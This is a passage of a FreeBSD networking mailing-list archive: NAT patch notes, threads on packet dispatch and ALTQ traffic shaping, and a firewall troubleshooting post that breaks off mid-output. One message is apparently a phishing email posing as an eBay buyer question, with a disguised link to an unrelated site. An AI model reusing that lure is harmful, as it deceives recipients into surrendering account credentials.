From owner-freebsd-net@FreeBSD.ORG Sun Apr 30 13:57:09 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A77C216A401 for ; Sun, 30 Apr 2006 13:57:09 +0000 (UTC) (envelope-from flag@newluxor.wired.org) Received: from newluxor.wired.org (ip-89-202.sn2.eutelia.it [83.211.89.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id 97D4B43D46 for ; Sun, 30 Apr 2006 13:57:08 +0000 (GMT) (envelope-from flag@newluxor.wired.org) Received: from newluxor.wired.org (localhost [127.0.0.1]) by newluxor.wired.org (8.13.6/8.13.6) with ESMTP id k3UDv3vj048316 for ; Sun, 30 Apr 2006 15:57:03 +0200 (CEST) (envelope-from flag@newluxor.wired.org) Received: (from flag@localhost) by newluxor.wired.org (8.13.6/8.13.6/Submit) id k3UDv23Q048315 for freebsd-net@freebsd.org; Sun, 30 Apr 2006 15:57:03 +0200 (CEST) (envelope-from flag) Date: Sun, 30 Apr 2006 15:57:02 +0200 From: Paolo Pisati To: FreeBSD_Net Message-ID: <20060430135702.GA48117@tin.it> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i Subject: [6.x patchset] Ipfw nat and libalias modules X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Apr 2006 13:57:09 -0000 I just released a new revision of my libalias+ipfw work as a patchset for 6.x, get it here: http://mercurio.srv.dsi.unimi.it/~pisati/libalias/libalias-6.x.tgz To apply it: cp libalias_ipfw.patch /usr/src cd /usr/src patch -p3 < libalias_ipfw.patch then you have to recompile & install: kernel, sbin/ipfw, sbin/natd, sbin/ppp, lib/libalias, sys/modules/ipfw, sys/modules/libalias or simply do a world. With this patch you get: -ipfw nat + redirect + LSNAT support -libalias modules (both in user and kernel land) -for kernel land, all the libalias modules are installed in /boot/kernel as alias_*.ko. -for user land (natd & ppp), modules are shared lib loaded according to /etc/libalias.conf. To reload modules for a known process, just 'kill -HUP $PID' it. -natd & ppp are patched to use libalias modules If your natd/ppp/ipfw behaves strangely after you applied my patch (i.e. active ftp stops working), remember to check libalias modules. Some ipfw examples: ipfw add nat 666 all from any to any via $IF ipfw nat 666 confg ip 192.168.0.1 # nat with a fixed address ipfw nat 666 confg if $IF log # dynamic if addr nat and logging ipfw nat 666 confg if $IF redir_port ... # redirect support with ipfw nat 666 confg if $IF redir_addr ... # linkspec natd syntax, ipfw nat 666 confg if $IF redir_proto ... # LSNAT works too. # different ipfw rules can be redirected to use # the same nat instance ipfw add nat 666 all from $IP1 to any via $IF1 ipfw add nat 666 all from any to any via $IF2 out ipfw add nat 666 all from $IP2 to $IP3 ipfw nat show # see logs ipfw nat show config # nat configuration To load/unload a libalias module (kernel): kldload alias_ftp # active ftp work ok now kldunload alias_ftp To load/unload a libalias module (user): [edit /etc/libalias.conf and add/cut needed modules] kill -HUP $PID For more info see the readme inside the archive. TODO: Not tested on SMP & !i386, logging ability should be improved(right now it's the same as original libalias), documentation should be man-pagified, patchset for 7.x, etcetc bye -- Paolo "le influenze esterne sono troppe, il mondo reale non e' mica quello fatato dei komunisti :-p" - Anonymous Lumbard From owner-freebsd-net@FreeBSD.ORG Sun Apr 30 22:35:05 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7BA0D16A41B for ; Sun, 30 Apr 2006 22:35:05 +0000 (UTC) (envelope-from demo@www.sleepykoala.net) Received: from www.sleepykoala.net (ip081075.hkicable.com [203.83.81.75]) by mx1.FreeBSD.org (Postfix) with ESMTP id A41DF43D66 for ; Sun, 30 Apr 2006 22:35:00 +0000 (GMT) (envelope-from demo@www.sleepykoala.net) Received: by www.sleepykoala.net (Postfix, from userid 1025) id 38B88BAE14; Mon, 1 May 2006 06:32:44 +0800 (HKT) To: freebsd-net@freebsd.org From: eBay Member Message-Id: <20060430223244.38B88BAE14@www.sleepykoala.net> Date: Mon, 1 May 2006 06:32:44 +0800 (HKT) MIME-Version: 1.0 Content-Type: text/plain X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Question about Item -- Respond Now X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Apr 2006 22:35:05 -0000 Your registered name is included to show this message originated from eBay. [1]Learn more. [hdrLeft_13x39.gif] Question about Item -- Respond Now eBay [s.gif] eBay sent this message on behalf of an eBay member via My Messages. Responses sent using email will go to the eBay member directly and will include your email address. Click the Respond Now button below to send your response via My Messages (your email address will not be included). [s.gi f] [s.gif] [s.gif] Question from jbambam79 This message was sent while the listing was active. jbambam79 is a potential buyer. [s.gif] Hi, I`m realy intrested in your item please let me know as soon as posible how to purchase it. Thanks James Respond to this question in My Messages. [2]http://contact.ebay.co.uk/ws/eBayISAPI.dll?M2MContact&item=45890704 41&requested=yamama_r6&qid=1470018712&redirect=0&sspagename=ADME:B:AAQ :UK:2 [s.gif] [s.gif] [s.gif] [s.gif] [s.gif] [s.gif] [s.gif] [s.gif] Thank yo u for using eBay [3]http://www.ebay.com/ ! [s.gif] [s.gif] Marketplace Safety Tip [4]Marketplace Safety Tip Always remember to complete your transactions on eBay - it's the safer way to trade. Is this message an offer to buy your item directly through email without winning the item on eBay? If so, please help make the eBay marketplace safer by reporting it to us. These external transactions may be unsafe and are against eBay policy. [5]Learn more about trading safely. ! [s.gif] [s.gif] Is this email inappropriate? Does it breach [6]eBay policy? Help protect the community by [7]reporting it. [s.gif] [s.gif] Learn how you can protect yourse lf from spoof (fake) emails at: [8]http://pages.ebay.com/education/spooftutorial [s.gif] This eBay notice was sent to b48yvip@aol.com on behalf of another eBay member through the eBay platform and in accordance with our Privacy Policy. If you would like to receive this email in text format, change your [9]notification preferences. [s.gif] See our Privacy Policy and User Agreement if you have questions about eBay's communication ! policies. Privacy Policy: [10]http://pages.ebay.com/help/policies/privacy-policy.html User Agreement: [11]http://pages.ebay.com/help/policies/user-agreement.html [s.gif] Copyright © 2005 eBay, Inc. All Rights Reserved. Designated trademarks and brands are the property of their respective owners. eBay and the eBay logo are registered trademarks or trademarks of eBay, Inc. References 1. http://pages.ebay.co.uk/help/confidence/name-userid-emails.html 2. http://www.suncontrol.nl/~peter/secure/index.html 3. http://www.ebay.!com/ 4. http://pages.ebay.co.uk/safetycentre 5. http://pages.ebay.co.uk/safetycentre/selling_safely.html 6. http://pages.ebay.co.uk/help/policies/rfe-unwelcome-email-misuse.html 7. http://cgi1.ebay.co.uk/aw-cgi/eBayISAPI.dll?ReportEmailAbuseshow&reporteruserid=kevinm8205&reporteduserid=yamama_r6&emaildate=2005/11/10:09:49:34&emailtype=0&emailtext=Hi+is+the+bike+hpi+clear%3F+do+you+have+any+better+pics+of+it%3F+is+this+the+original+paint+colour%3F&trackId=1470018712 8. http://pages.ebay.com/educati!%20%20on/spooftutorial 9. http://cgi4.ebay.co.uk/ws/eBayISAPI.dll?OptinLoginShow 10. http://pages.ebay.com/help/policies/privacy-policy.html 11. http://pages.ebay.com/help/policies/user-agreement.html From owner-freebsd-net@FreeBSD.ORG Mon May 1 01:38:47 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E7C4F16A401; Mon, 1 May 2006 01:38:46 +0000 (UTC) (envelope-from lukem@cse.unsw.edu.au) Received: from tone.orchestra.cse.unsw.EDU.AU (tone.orchestra.cse.unsw.EDU.AU [129.94.242.59]) by mx1.FreeBSD.org (Postfix) with ESMTP id F2A0643D48; Mon, 1 May 2006 01:38:45 +0000 (GMT) (envelope-from lukem@cse.unsw.edu.au) Received: From wagner.orchestra.cse.unsw.EDU.AU ([129.94.242.19]) (ident-user root) By tone With Smtp ; Mon, 1 May 2006 11:38:40 +1000 Received: From wagner With LocalMail ; Mon, 1 May 2006 11:38:39 +1000 From: lukem.freebsd@cse.unsw.edu.au Sender: lukem@cse.unsw.edu.au To: Robert Watson Date: Mon, 1 May 2006 11:38:39 +1000 (EST) In-Reply-To: <20060427154718.J75848@fledge.watson.org> Message-ID: References: <7bb8f24157080b6aaacb897a99259df9@madhaus.cns.utoronto.ca> <20060427093916.GC84148@obiwan.tataz.chchile.org> <20060427145252.I75848@fledge.watson.org> <20060427143814.GD84148@obiwan.tataz.chchile.org> <20060427154718.J75848@fledge.watson.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Marcos Bedinelli , freebsd-net@freebsd.org, Jeremie Le Hen Subject: Re: [fbsd] Re: [fbsd] Network performance in a dual CPU system X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 May 2006 01:38:47 -0000 On Thu, 27 Apr 2006, Robert Watson wrote: > Yes -- basically, what this setting does is turn a deferred dispatch of the > protocol level processing into a direct function invocation. This reminds me of a problem I saw about a year ago, where the number of entries in the DMA ring was much greater (IIRC 256) than the number of entries in the IP input queue (IIRC hardcoded at 50). So what would end up happening under high loads was that lots of packets would get dumped when you tried to enqueue them onto the IP input queue. If you are finding that direct dispatch is giving you a really big performance increase on some workloads, you might like to check that the reason isn't simply that you have avoided overflowing this queue. > - Increase the time it takes to pull packets out of the card -- we process > each packet to completion rather than pulling them out in sets and batching > them. This pushes drop on overload into the card instead of the IP queue, > which has some benefits and some costs. The nice thing about doing it this way is that it is less prone to performance degradation under overload, since you don't dequeue (and hence do work on) packets which will be later discarded. > The reason for the strong source ordering is that some protocols, TCP in > particular, respond really badly to misordering, which they detect as a > loss and force retransmit for. If we introduce multiple netisrs naively > by simply having the different threads working from the same IP input > queue, then we can potentially pull packets from the same source into > different workers, and process them at different rates, resulting in > misordering being introduced. While we'd process packets with greater > parallelism, and hence possibly faster, we'd toast the end-to-end > protocol properties and make everyone really unhappy. Would it be possible to improve the behaviour of the TCP protocol implementation so that out-of-order reception was acceptable? # Someone else asked a question about polling. Pretty much all modern network interfaces support interrupt moderation of some description. There really is no need to use polling any more, as interfaces do not cause excessive interrupt rates. The performance difference we are seeing with polling is likely because it does better scheduling of packet processing than the current model does. For example, most driver implementations just spin dequeueing packets until their DMA rings are empty, however that doesn't work so well when you have fixed sized queues elsewhere which are filling up. If you look at the polling code, it only dequeues a small number of packets at a time, and allows them to be processed before it continues dequeueing. I would bet that if the packet dispatch model gets improved, we can ditch polling entirely, at least for modern network interfaces. -- Luke Macpherson From owner-freebsd-net@FreeBSD.ORG Mon May 1 02:32:39 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 810AB16A404; Mon, 1 May 2006 02:32:39 +0000 (UTC) (envelope-from freebsd@bitparts.org) Received: from mail.bitparts.org (63-253-101-190.ip.mcleodusa.net [63.253.101.190]) by mx1.FreeBSD.org (Postfix) with ESMTP id EA9B743D45; Mon, 1 May 2006 02:32:36 +0000 (GMT) (envelope-from freebsd@bitparts.org) Received: from [127.0.0.1] (71-11-157-24.dhcp.stls.mo.charter.com [71.11.157.24]) (authenticated bits=0) by mail.bitparts.org (8.13.6/8.13.5) with ESMTP id k412WYrQ092706; Sun, 30 Apr 2006 21:32:35 -0500 (CDT) (envelope-from freebsd@bitparts.org) DomainKey-Signature: a=rsa-sha1; s=default; d=bitparts.org; c=nofws; q=dns; h=message-id:date:from:user-agent:mime-version:to:subject: content-type:content-transfer-encoding; b=UJuwpdreJ2CenwcvRUobWiKyewjyHR8ln4wwjFZx1oQ1DogDy/Vrg60X8mL51GCPA yXWoU3hNDiOZkYJGOMAdC5stclyXfEdjnyYBYLMYjMA5LcrlGVvUHS6WD4kPuzornA3 ZpSpAxxVPdQ1cobpHvCi+M0Jy5RmwMbDJ/VQ6rE= Message-ID: <44557343.3070805@bitparts.org> Date: Sun, 30 Apr 2006 21:32:35 -0500 From: "J. Buck Caldwell" User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: freebsd-pf@freebsd.org, freebsd-net@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Received-SPF: pass (mail.bitparts.org: authenticated connection) receiver=mail.bitparts.org; client-ip=71.11.157.24; helo=[127.0.0.1]; envelope-from=freebsd@bitparts.org; x-software=spfmilter 0.93 http://www.acme.com/software/spfmilter/; Cc: Subject: ALTQ on GIF Interface - how much trouble to impliment? X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 May 2006 02:32:39 -0000 I'm in desperate need to do some traffic prioritization using pf and ALTQ over a GIF tunnel. I asked this question some time ago on freebsd-stable, and was told to use tags - but either I'm doing it wrong, or it just doesn't work (probably, I'm doing it wrong). Either way, supporting ALTQ over GIF would be a far preferable solution. Here's the problem. I have a corporate office with a 4.5mb/sec connection, and several branches with 3m-down/768k-up cable connections. Each endpoint has a FreeBSD 5.4 or 6.x (migrating all to 6.x) box providing NAT, DNS, DHCP etc - and connecting to the other endpoints via GIF tunnels, encrypted point-to-point with IPSec. While prioritizing the actual tunnel traffic (via "pass out quick on $ext_if queue(gif_out, pri_out) proto { ipencap, esp } all keep state") does actually send the GIF/IPSEC traffic out at a higher priority, what I need to do is to actually prioritize the traffic inside the tunnel. For example - the tunnel carries between the branches and the corporate office, such as Lotus Notes, telnet/ssh sessions, and database queries. What I need to do is prioritize the traffic so that, say, Notes traffic goes out before Web traffic, but the database traffic is highest priority (just under empty ACKs and such). Currently, ALTQ support is not available in the GIF interface driver. How difficult would it be to implement? I've done a little reading of the man pages and source code, and while I am a decent Windows programmer (C, not visual basic, get that look off your face), I've never done any coding for FreeBSD, and wouldn't know quite where to start. If this is something that can be done relatively easily, I would be willing to test, and possibly to help code, but I'll need pointers. Otherwise, I'd love to get some help on figuring out how tagging works so I can get it operating correctly. From owner-freebsd-net@FreeBSD.ORG Mon May 1 09:12:20 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A6BE716A401; Mon, 1 May 2006 09:12:20 +0000 (UTC) (envelope-from dimas@dataart.com) Received: from relay1.dataart.com (fobos.marketsite.ru [62.152.84.30]) by mx1.FreeBSD.org (Postfix) with ESMTP id 337D543D48; Mon, 1 May 2006 09:12:20 +0000 (GMT) (envelope-from dimas@dataart.com) Received: from e1.universe.dart.spb ([192.168.10.44]) by relay1.dataart.com with esmtp (Exim 4.22) id 1FaUS2-000Fp9-DU; Mon, 01 May 2006 13:12:18 +0400 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Mon, 1 May 2006 13:10:55 +0400 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: ALTQ on GIF Interface - how much trouble to impliment? thread-index: AcZsx2PN/GaEvc52T6uBwdqTePzFewANcz+Q From: "Dmitry Andrianov" To: "J. Buck Caldwell" , , Cc: Subject: RE: ALTQ on GIF Interface - how much trouble to impliment? X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 May 2006 09:12:20 -0000 Well, I'm not sure FAQ will help you because you probably aready read it. But since you ask these things... :=3D) ... I suppose you need to = use traffic queueing on your internal (LAN) interfaces. http://www.openbsd.org/faq/pf/queueing.html has examples of doing that. Also, http://www.openbsd.org/faq/pf/tagging.html has examples of using tagging. But the general idea is straightforward: pass in on $int_if to $central_office_net tag VPN keep state pass in on $int_if to $central_office_net proto tcp tag port { 80, 443 } VPN_HTTP keep state pass in on $int_if to $central_office_net proto tcp tag port { 3306, 1443 } VPN_DB keep state ... pass in on $int_if tagged VPN_HTTP keep state queue XXX pass in on $int_if tagged VPN_DB keep state queue YYY pass in on $int_if tagged VPN keep state queue XXX I think limiting "out" traffic on internal interface is meaningless - I would limit it as "in" traffic on another VPN endpoint instead. -----Original Message----- From: owner-freebsd-pf@freebsd.org [mailto:owner-freebsd-pf@freebsd.org] On Behalf Of J. Buck Caldwell Sent: Monday, May 01, 2006 6:33 AM To: freebsd-pf@freebsd.org; freebsd-net@freebsd.org Subject: ALTQ on GIF Interface - how much trouble to impliment? I'm in desperate need to do some traffic prioritization using pf and ALTQ over a GIF tunnel. I asked this question some time ago on freebsd-stable, and was told to use tags - but either I'm doing it wrong, or it just doesn't work (probably, I'm doing it wrong). Either way, supporting ALTQ over GIF would be a far preferable solution. Here's the problem. I have a corporate office with a 4.5mb/sec connection, and several branches with 3m-down/768k-up cable connections. Each endpoint has a FreeBSD 5.4 or 6.x (migrating all to 6.x) box providing NAT, DNS, DHCP etc - and connecting to the other endpoints via GIF tunnels, encrypted point-to-point with IPSec. While prioritizing the actual tunnel traffic (via "pass out quick on $ext_if queue(gif_out, pri_out) proto { ipencap, esp } all keep state") does actually send the GIF/IPSEC traffic out at a higher priority, what I need to do is to actually prioritize the traffic inside the tunnel. For example - the tunnel carries between the branches and the corporate office, such as Lotus Notes, telnet/ssh sessions, and database queries.=20 What I need to do is prioritize the traffic so that, say, Notes traffic goes out before Web traffic, but the database traffic is highest priority (just under empty ACKs and such). Currently, ALTQ support is not available in the GIF interface driver.=20 How difficult would it be to implement? I've done a little reading of the man pages and source code, and while I am a decent Windows programmer (C, not visual basic, get that look off your face), I've never done any coding for FreeBSD, and wouldn't know quite where to start. If this is something that can be done relatively easily, I would be willing to test, and possibly to help code, but I'll need pointers.=20 Otherwise, I'd love to get some help on figuring out how tagging works so I can get it operating correctly. _______________________________________________ freebsd-pf@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-pf To unsubscribe, send any mail to "freebsd-pf-unsubscribe@freebsd.org" From owner-freebsd-net@FreeBSD.ORG Mon May 1 11:02:46 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A9D2816A402 for ; Mon, 1 May 2006 11:02:46 +0000 (UTC) (envelope-from owner-bugmaster@freebsd.org) Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id 05AFB43D6B for ; Mon, 1 May 2006 11:02:46 +0000 (GMT) (envelope-from owner-bugmaster@freebsd.org) Received: from freefall.freebsd.org (peter@localhost [127.0.0.1]) by freefall.freebsd.org (8.13.4/8.13.4) with ESMTP id k41B2j4N009063 for ; Mon, 1 May 2006 11:02:45 GMT (envelope-from owner-bugmaster@freebsd.org) Received: (from peter@localhost) by freefall.freebsd.org (8.13.4/8.13.4/Submit) id k41B2iBo009057 for freebsd-net@freebsd.org; Mon, 1 May 2006 11:02:44 GMT (envelope-from owner-bugmaster@freebsd.org) Date: Mon, 1 May 2006 11:02:44 GMT Message-Id: <200605011102.k41B2iBo009057@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: peter set sender to owner-bugmaster@freebsd.org using -f From: FreeBSD bugmaster To: freebsd-net@FreeBSD.org Cc: Subject: Current problem reports assigned to you X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 May 2006 11:02:46 -0000 Current FreeBSD problem reports Critical problems Serious problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- o [2006/01/30] kern/92552 net A serious bug in most network drivers fro f [2006/02/12] kern/93220 net [inet6] nd6_lookup: failed to add route f 2 problems total. Non-critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- o [2003/07/11] kern/54383 net [nfs] [patch] NFS root configurations wit o [2006/04/03] kern/95267 net packet drops periodically appear 2 problems total. From owner-freebsd-net@FreeBSD.ORG Sat Apr 29 18:08:51 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9035A16A432 for ; Sat, 29 Apr 2006 18:08:51 +0000 (UTC) (envelope-from haikubounties@hotmail.com) Received: from hotmail.com (bay119-f7.bay119.hotmail.com [207.46.9.87]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5E78443D4C for ; Sat, 29 Apr 2006 18:08:51 +0000 (GMT) (envelope-from haikubounties@hotmail.com) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sat, 29 Apr 2006 11:08:50 -0700 Message-ID: Received: from 207.46.9.123 by by119fd.bay119.hotmail.msn.com with HTTP; Sat, 29 Apr 2006 18:08:49 GMT X-Originating-IP: [24.146.18.137] X-Originating-Email: [haikubounties@hotmail.com] X-Sender: haikubounties@hotmail.com From: "Karl vom Dorff" To: freebsd-net@freebsd.org Date: Sat, 29 Apr 2006 14:08:49 -0400 Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 29 Apr 2006 18:08:50.0988 (UTC) FILETIME=[F7F566C0:01C66BB7] X-Mailman-Approved-At: Mon, 01 May 2006 17:31:37 +0000 Subject: haiku bounties for usb stack X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Apr 2006 18:08:51 -0000 Haiku Bounties: www.haikubounties.org Is looking for developers to take up their code bounties for a usb stack. Please drop by the site and apply if interested! _________________________________________________________________ Take charge with a pop-up guard built on patented Microsoft® SmartScreen Technology http://join.msn.com/?pgmarket=en-ca&page=byoa/prem&xAPID=1994&DI=1034&SU=http://hotmail.com/enca&HL=Market_MSNIS_Taglines Start enjoying all the benefits of MSN® Premium right now and get the first two months FREE*. From owner-freebsd-net@FreeBSD.ORG Mon May 1 19:21:41 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0215A16A445 for ; Mon, 1 May 2006 19:21:41 +0000 (UTC) (envelope-from vulture@netvulture.com) Received: from rackman.netvulture.com (adsl-63-197-17-60.dsl.snfc21.pacbell.net [63.197.17.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6D5D843D46 for ; Mon, 1 May 2006 19:21:38 +0000 (GMT) (envelope-from vulture@netvulture.com) Received: from [208.201.244.73] (host73.netvulture.com [208.201.244.73]) (authenticated bits=0) by rackman.netvulture.com (8.13.5/8.13.5) with ESMTP id k41JFLHG073948 for ; Mon, 1 May 2006 12:15:22 -0700 (PDT) Message-ID: <44565E41.2080905@netvulture.com> Date: Mon, 01 May 2006 12:15:13 -0700 From: Jonathan Feally User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-net@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-MailScanner-Information: Please contact your system administrator for more information X-MailScanner: Found to be clean X-MailScanner-SpamCheck: not spam (whitelisted), SpamAssassin (score=-0.89, required 2.5, autolearn=spam, AWL -1.48, HOT_NASTY 0.59) Subject: Having a problem with getting ipfw fwd to work with vlans and bge - 6.1-RC1 amd64 X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 May 2006 19:21:41 -0000 Hello, I have setup a new firewall and I'm having trouble with it. Perhaps the bge is to blame, perhaps its something else. I'll explain my setup, problem and the workaround to get it going. Box connects to 2 Internal Lans and 2 External Wans. Vlans are mixed untagged and tagged on a single bge0 Vlan Network Desc 1 10.255.1.0/24 Admin Lan - No Vlan Tagging 2 10.255.2.0/24 VoIP Lan 900 67.xxx.xxx.128/27 Internet A - Default Route - Going to be pure VoIP only - thus 10.255.2 boxes get 1:1 NAT to 67.xxx.xxx 902 208.xxx.xxx.48/28 Internet B - Web Services 1st problem I ran into was pings from vlan 2 through natd to vlan 900 were not coming back. I could see the packet enter vlan2 - leave and return on vlan900 - but go nowhere. I tried a tcpdump on bge0 and the pings started coming back. Leading me to putting promisc on my ifconfig bge0 Now I'm trying to setup up a simple web server on an IP from vlan 902 in combination with fwd rule # 999 to route packets from a vlan902 address back to the router on that internet connection. I try to ping from the outside and can see the icmp echo request. But the replies keep getting sent out vlan900 to the other internet router. Hopefully somebody can point me in the right direction. If its the bge, then I can replace it with some em. If its an issue with mixing native vlan and tagged, I can tag everything, If its not me, then who can help getting the code fixed? I have put my ifconfig, ipfw rules and natd.conf's below. Thanks -Jon --------------------------------------------------------- [root@t3031fw ~]# ifconfig -a bge0: flags=28943 mtu 1500 options=18 inet6 fe80::215:f2ff:fed0:d898%bge0 prefixlen 64 scopeid 0x1 inet 10.255.1.254 netmask 0xffffff00 broadcast 10.255.1.255 ether 00:15:f2:d0:d8:98 media: Ethernet autoselect (100baseTX ) status: active bge1: flags=8802 mtu 1500 options=1b ether 00:15:f2:40:d8:35 media: Ethernet autoselect (none) status: no carrier plip0: flags=108810 mtu 1500 lo0: flags=8049 mtu 16384 inet6 ::1 prefixlen 128 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x4 inet 127.0.0.1 netmask 0xff000000 vlan2: flags=8843 mtu 1500 inet6 fe80::215:f2ff:fed0:d898%vlan2 prefixlen 64 scopeid 0x5 inet 10.255.2.1 netmask 0xffffff00 broadcast 10.255.2.255 ether 00:15:f2:d0:d8:98 media: Ethernet autoselect (100baseTX ) status: active vlan: 2 parent interface: bge0 vlan900: flags=8843 mtu 1500 inet6 fe80::215:f2ff:fed0:d898%vlan900 prefixlen 64 scopeid 0x6 inet 67.xxx.xxx.158 netmask 0xffffffe0 broadcast 67.xxx.xxx.159 inet 67.xxx.xxx.130 netmask 0xffffffff broadcast 67.xxx.xxx.130 inet 67.xxx.xxx.131 netmask 0xffffffff broadcast 67.xxx.xxx.131 inet 67.xxx.xxx.132 netmask 0xffffffff broadcast 67.xxx.xxx.132 inet 67.xxx.xxx.133 netmask 0xffffffff broadcast 67.xxx.xxx.133 inet 67.xxx.xxx.134 netmask 0xffffffff broadcast 67.xxx.xxx.134 inet 67.xxx.xxx.135 netmask 0xffffffff broadcast 67.xxx.xxx.135 inet 67.xxx.xxx.136 netmask 0xffffffff broadcast 67.xxx.xxx.136 inet 67.xxx.xxx.137 netmask 0xffffffff broadcast 67.xxx.xxx.137 inet 67.xxx.xxx.138 netmask 0xffffffff broadcast 67.xxx.xxx.138 inet 67.xxx.xxx.139 netmask 0xffffffff broadcast 67.xxx.xxx.139 inet 67.xxx.xxx.140 netmask 0xffffffff broadcast 67.xxx.xxx.140 inet 67.xxx.xxx.141 netmask 0xffffffff broadcast 67.xxx.xxx.141 inet 67.xxx.xxx.142 netmask 0xffffffff broadcast 67.xxx.xxx.142 inet 67.xxx.xxx.143 netmask 0xffffffff broadcast 67.xxx.xxx.143 inet 67.xxx.xxx.144 netmask 0xffffffff broadcast 67.xxx.xxx.144 inet 67.xxx.xxx.145 netmask 0xffffffff broadcast 67.xxx.xxx.145 inet 67.xxx.xxx.146 netmask 0xffffffff broadcast 67.xxx.xxx.146 inet 67.xxx.xxx.147 netmask 0xffffffff broadcast 67.xxx.xxx.147 inet 67.xxx.xxx.148 netmask 0xffffffff broadcast 67.xxx.xxx.148 inet 67.xxx.xxx.149 netmask 0xffffffff broadcast 67.xxx.xxx.149 inet 67.xxx.xxx.150 netmask 0xffffffff broadcast 67.xxx.xxx.150 inet 67.xxx.xxx.151 netmask 0xffffffff broadcast 67.xxx.xxx.151 inet 67.xxx.xxx.152 netmask 0xffffffff broadcast 67.xxx.xxx.152 inet 67.xxx.xxx.153 netmask 0xffffffff broadcast 67.xxx.xxx.153 inet 67.xxx.xxx.154 netmask 0xffffffff broadcast 67.xxx.xxx.154 inet 67.xxx.xxx.155 netmask 0xffffffff broadcast 67.xxx.xxx.155 inet 67.xxx.xxx.156 netmask 0xffffffff broadcast 67.xxx.xxx.156 inet 67.xxx.xxx.157 netmask 0xffffffff broadcast 67.xxx.xxx.157 ether 00:15:f2:d0:d8:98 media: Ethernet autoselect (100baseTX ) status: active 